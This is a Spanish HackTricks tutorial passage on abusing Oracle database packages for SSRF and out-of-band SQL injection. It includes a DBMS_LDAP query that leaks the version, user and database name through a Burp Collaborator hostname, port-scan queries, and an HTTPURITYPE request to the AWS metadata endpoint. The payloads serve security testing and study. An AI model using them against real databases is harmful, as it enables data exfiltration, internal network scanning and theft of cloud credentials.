<summary><strong>Aprende hacking en AWS de cero a héroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Usar Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otros SSRF/XSPA.
Instalar Oracle puede ser realmente doloroso, especialmente si quieres configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina AWS Ubuntu t2.large y Docker.
Ejecuté el comando docker con la bandera `--network="host"` para poder simular Oracle como una instalación nativa con acceso completo a la red, para el transcurso de este blogpost.
#### Paquetes de Oracle que admiten una especificación de URL o de Nombre de Host/Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Para encontrar paquetes y funciones que admitan una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
Esta búsqueda rudimentaria obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podría haber pasado por alto.
El paquete `DBMS_LDAP` permite el acceso a datos de servidores LDAP. La función `init()` inicia una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que el puerto está cerrado mientras que un valor de sesión apunta a que el puerto está abierto.
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Sin embargo, para nosotros, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una vía de acceso a la red o realizar Solicitudes del Lado del Servidor completas, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.
El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP cruda para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo aún más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
Quizás la técnica más común y ampliamente documentada en todos los tutoriales de Inyección SQL Oracle Fuera de Banda es el [paquete `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). La documentación define este paquete como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puede utilizarse para acceder a datos en Internet a través de HTTP.`
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
Otro paquete que he utilizado en el pasado con éxito variable es el método [`GETCLOB()` del tipo abstracto de Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de datos CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).